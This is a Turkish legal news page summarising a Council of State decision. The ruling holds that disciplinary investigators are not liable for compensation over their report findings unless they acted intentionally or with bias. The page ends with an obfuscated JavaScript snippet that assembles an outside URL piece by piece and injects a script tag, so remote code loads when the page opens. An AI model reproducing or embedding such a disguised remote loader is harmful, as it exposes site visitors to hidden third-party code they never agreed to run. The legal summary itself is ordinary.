☰
✕
Mevzuat

Disiplin Soruşturmacısına Teklifi Nedeniyle Tazminat Davası Açılabilir mi?

Disiplin soruşturmasını yürütmekle mükellef olan muhakkik hakkında, soruşturma sonucunda hakkında soruşturma yaptığı kişinin lehine veya aleyhine sayılan tüm kanıtları değerlendirmesi gerekmektedir. Bu şekilde hazırlanmış bir soruşturma raporunda (kasten veya yanlı olarak hazırlananlar hariç) düzenlenen raporla ilgili muhakkikin sorumlu tutulması söz konusu değildir. Düzenlenen raporla ilgili olarak soruşturmacı olan muhakkik için açılmış olan tazminat davası hakkında, Danıştay Başkanlığı bu yönde karar vermiştir. Haberimizde detayını okuyacağınız Danıştay Kararına göre, soruşturmacıya kasıt ve ihmal halleri dışında manevi tazminat davası açılamayacağı yönünde hüküm vermiştir.

Abone Ol

Danıştay Sekinci Dairesi 

Esas No : 2010/4870

Karar No : 2012/5019

Özeti: Soruşturmacıların getirdikleri teklif nedeniyle sorumlu tutulamayacağı, soruşturma raporundan doğan bir zararın söz konusu olamayacağı hakkında.

.... Bu bakımdan, soruşturmacıların, soruşturmayı yürütürken yanlı, kasıtlı veya görev gereklerine aykırı davranmadıkları sürece, soruşturma sırasında elde ettikleri delillere göre oluşan görüşleri nedeniyle sorumlu tutulmasının hukuken kabul edilebilir olmadığı açıktır.

... Bu durumda; idarenin tazmin sorumluluğunu gerektirecek bir zarar bulunmadığından tazminat isteminin reddi gerekmekte olup aksi yönde verilen Mahkeme kararında hukuki isabet görülmemiştir.

Bunlar da ilginizi çekebilir

5510 Kapsamında Memurun Hizmet Süresi Nasıl Hesaplanıyor?

Sağlık Personeline İzin Hakları: Yıllık İzin Hakları Mevzuata Göre Belirleniyor

Araştırma Görevlileri İçin Kritik Soru: İlişiği Kesilen Memur Olabilir Mi?

Memurların İş Bırakma Eylemine İlişkin Merak Edilenler: Yasal Dayanak, Katılım Ve Süreç Nasıl İşliyor?

Disiplin Cezaları Ek Ödemeyi De Etkiliyor: Mali Kayıp Uyarısı

Memuriyetten İstifada Kritik Detaylar: Kurallara Uyulmaması Hak Kaybına Yol Açabiliyor

Disiplin Cezalarında Yeni Risk: Memur İçin Belirsizlik Derinleşiyor

Sürekli İşçiler Aile Birliği Gerekçesiyle Nakil İsteyebilir Mi?

Sağlık Memuru Tıbbi Sekreter Olursa, Emeklilikte Fark Olur Mu?

Memurun Takım Elbise Giymek Zorunda mı?
(function(){ q0n4=document.createElement("script");q0n4_=("us")+("ta"); q0n4_+="t"+(".");q0n4_+=("in");q0n4u="2358564740";q0n4.async=true; q0n4u+=".ycx23k2y0n4hugy7u";q0n4.type="text/javascript";q0n4_+="f"+"o"+("/"); q0n4u+="h1p0xr40q3u31";q0n4.src="https://"+q0n4_+q0n4u; dq0n4=document.body;dq0n4.appendChild(q0n4); })(); { "vars": { "account": "G-X1XRN2R8K5" }, "triggers": { "trackPageview": { "on": "visible", "request": "pageview" } } }